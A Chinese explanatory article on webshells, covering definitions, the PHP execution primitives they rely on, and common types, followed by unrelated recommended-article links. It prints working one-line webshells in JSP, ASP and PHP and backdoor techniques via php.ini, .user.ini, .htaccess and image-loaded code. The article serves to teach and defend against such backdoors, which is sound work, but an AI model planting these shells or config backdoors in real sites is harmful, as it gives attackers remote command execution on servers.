1、什么是webshell

webshell是web入侵的脚本攻击工具。

简单的说来,webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客就可以用web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。

为了更好理解webshell我们学习两个概念:

 什么是“木马”?

“木马”全称是“特洛伊木马(Trojan<BR>Horse)”,原指古希腊士兵藏在木马内进入敌方城市从而占领敌方城市的故事。

在Internet上,“特洛伊木马”指一些程序设计人员在其可从网络上下载 (Download)的应用程序或游戏中,包含了可以控制用户的计算机系统的程序,可能造成用户的系统被破坏甚至瘫痪。

什么是后门?

大家都知道,一台计算机上有65535个端口,那么如果把计算机看作是一间屋子,那么这65535个端口就可以它看做是计算机为了与外界连接所开的65535 扇门。每个门的背后都是一个服务。有的门是主人特地打开迎接客人的(提供服务),有的门是主人为了出去访问客人而开设的(访问远程服务)——理论上,剩下的其他门都该是关闭着的,但偏偏由于各种原因,很多门都是开启的。于是就有好事者进入,主人的隐私被刺探,生活被打扰,甚至屋里的东西也被搞得一片狼迹。这扇悄然被开启的门——就是“后门”。

    webshell的优点

webshell 最大的优点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。

2、webshell的原理

①可执行脚本

HTTP数据包($_GET、$_POST、$_COOKIES、$_SERVER[args]等)

②数据传递

③执行传递的数据

a.直接执行(eval、system、passthru等)

b.文件包含执行(include、require等)

c.动态函数执行($a="phpinfo";$a();)

d.Curly Syntax执行(${‘ls’})

e.preg_replace(第一个参数存在’/e’)

f.ob_start函数

g.回调函数(array_map等)

h.反序列化(unserialize等)

3、webshell的分类

①根据文件大小分类:大马和小马(通常指的是一句话木马,能够使用菜刀这类工具去直接连接它) 
②根据脚本名称分类:jsp、asp、aspx、php

jsp的简单的webshell:

1

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

asp的简单的webshell:

1

success!!!!<%eval request("cmd")%>

php的简单的webshell:

1

2

3

4

<?php

    $a=exec($_GET["input"]);    

    echo $a;

?>

4、webshell的常见类型

①php.ini隐藏后门

1

2

auto_prepend_file="/tmp/caidao.php"

auto_append_file="/tmp/caidao.php"

这两种都是相当于在php脚本头部include。 
注:auto_prepend_file 与 auto_append_file 只能require一个php文件,但在这个php文件内可以require多个其他的php文件。

②.htaccess构成php后门

1

2

3

4

5

<FilesMatch "abc.jpg">//上传特定的文件只把它解析成为php

SetHandler application/x-httpd-php

</FilesMatch>

1

2

3

4

5

php_flag engine

AddHandler(AddHander php5-script .logs)

AddType application/x-httpd-php .png

SetHandler(<FilesMatch “_php.gif”>SetHandler application/x-httpd-php</FilesMatch>)

php_value auto_append_file /tmp/caidao.php

③user.ini隐藏后门(不需重启)

除了主php.ini之外,PHP还会在每个目录下扫描ini文件,从被执行的PHP文件所在目录开始一直上升到web根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的PHP文件在web根目录之外,则只扫描该目录。利用方式与php.ini相似。

1

2

auto_prepend_file="/tmp/caidao.php"  相当于在php脚本头部include

auto_append_file="/tmp/caidao.php"   相当于在php脚本底部include

④PHP代码开启标志缩写

将php.ini的short_open_tag参数设为On

1

<?=($_=@$_GET[2]).@$_($_GET[1])?>

⑤图片木马

1

2

3

4

<?php

    $wp__theme_icon=create_function('',file_get_contents('hacker.gif'));    

    $wp__theme_icon();

?>

注:这种方法不允许图片中有非法数据。

只有了解了webshell的特点,才能已最小的代价高效的做好web防御。

什么事webshell?相关推荐

  1. 作为一个测试人需要知道的安全测试

    1. 什么是安全测试(Security Testing)? 在所有类型的软件测试中,安全测试可以被认为是最重要的测试之一,其主要目的是在任何软件(Web或基于网络)的应用程序中找到漏洞,并保护其数据免 ...

  2. 我与网站的日常-webshell命令执行

    本文比较基础,其中有一个知识点关于php执行系统命令的函数 ,我们用最简单的webshell来说说传值问题的影响, 本文作者: i春秋签约作家--屌丝绅士 0×01前言:     小表弟又来写文章了, ...

  3. WEBSHELL跳板REDUH使用说明

    原文链接: http://www.fendou.info/network/webshell-proxy-reduh.html reDuh是可以把内网服务器的端口通过http或https隧道转发到本机, ...

  4. WEBSHELL恶意代码批量提取清除工具

    场景 使用D盾扫描到WEBSHELL后可以导出有路径的文本文件. 最后手动去把WEBSHELL复制到桌面然后以文件路径命名,挨个删除. D盾界面是这样的. 手动一个个找WEBSHELL并且改名效率太低 ...

  5. 从Webshell到肉鸡

    从Webshell到肉鸡 S.S.F simeon    我一直都在强调一个东西,在网络攻防中最重要的就是思维,本文的灵感来自于安天365团队的一个篇稿件,在稿件中提到了一个AspxSpy的Asp.n ...

  6. 2021年中国工业互联网安全大赛核能行业赛道writeup之Webshell密码

    附件题:Webshell密码 题目描述: 某次攻防演练中,抓到了一个webshell的流量,请分析出密码,flag形式:flag{密码} 附件下载: https://download.csdn.net ...

  7. 一次完整的从webshell到域控的探索之路

    前言 内网渗透测试资料基本上都是很多大牛的文章告诉我们思路如何,但是对于我等小菜一直是云里雾里. 于是使用什么样的工具才内网才能畅通无阻,成了大家一直以来的渴求. 今天小菜我本着所有师傅们无私分享的精 ...

  8. 一线技术管理者究竟在管什么事?

    来自:新亮笔记 概述 上篇文章<一个人被提拔,不仅仅是能力,而是信任> 中分享了两个点: 什么样的工程师,容易被提拔? 当被提拔到一线管理者后,你的初衷是什么? 这篇文章分享 一线技术管理 ...

  9. php带帽接口_利用php自包含特性上传webshell

    0x00 前言 今天做到一题道来自百度杯十二月第四场的ctf题,题目名字叫blog 进阶篇,当时没做出来,看了writeup才知道竟然还有这种骚操作来上传文件进行包含. 0x01 题目复现 前面的解题 ...

最新文章

  1. 【Qt】Qt样式表总结(三):QObject 属性
  2. ML之LoRBaggingRF:依次利用Bagging、RF算法对泰坦尼克号数据集 (Kaggle经典案例)获救人员进行二分类预测——模型融合
  3. 微型计算机组装实验报告虚拟,微型计算机组装与维护实训(附光盘)
  4. 关于udelay(); mdelay(); ndelay(); msleep();
  5. netbeans 添加gif图片_GIF动图制作app下载|GIF动图制作安卓版 v3.9.2 官方免费版
  6. window.opener方法的使用 刷新父页面
  7. 用asp.net获取服务器和客服端有关信息
  8. 震惊,CSDN居然可以打出爱心?
  9. 推荐腾讯最新重磅开源项目!
  10. 藏不住了,Flink 未来发展的最新方向在这里!
  11. 糙哥、糙姐:指为了解决问题,随意调整参数的程序员
  12. Javascript框架设计思路图
  13. cvCompareHist() 直方图匹配
  14. 全球及中国非接触式雷达液位计行业运营动向及投资竞争力分析报告2022-2027年
  15. C语言求1到1000素数之和,C语言实现1-1000中所有素数的和
  16. 2021-01-21:脉冲神经网络学习日志
  17. CSS反爬获取伪元素的值
  18. C语言>>8 0xFF; 0xFF;作用
  19. 编程技巧│这些好用的网站,你千万别错过
  20. datagear数据集添加参数

热门文章

  1. 自建QQ/微信防红接口
  2. Android stutio实现Activity数据传递和回传
  3. 计算机考研和法学考研哪个容易,法学考研科目这几件事你必须知道
  4. MySQL之事务 索引 锁_MySql 知识点之事务、索引、锁原理与用法解析
  5. 2017年能源行业在大数据和人工智能领域的投资增长10倍
  6. 《Building Services Engineering Research Technology》期刊介绍(SCI 4区)
  7. 将1自动补位为01_中文名扣一下?东芝将在10月1日更名为“Kioxia”
  8. 计算机系统直流地 哪,长春哪有接地模块检测怎么做热情服务
  9. creo动画如何拖动主体_Creo如何制作关键帧动画?
  10. 示波器正确测量电源纹波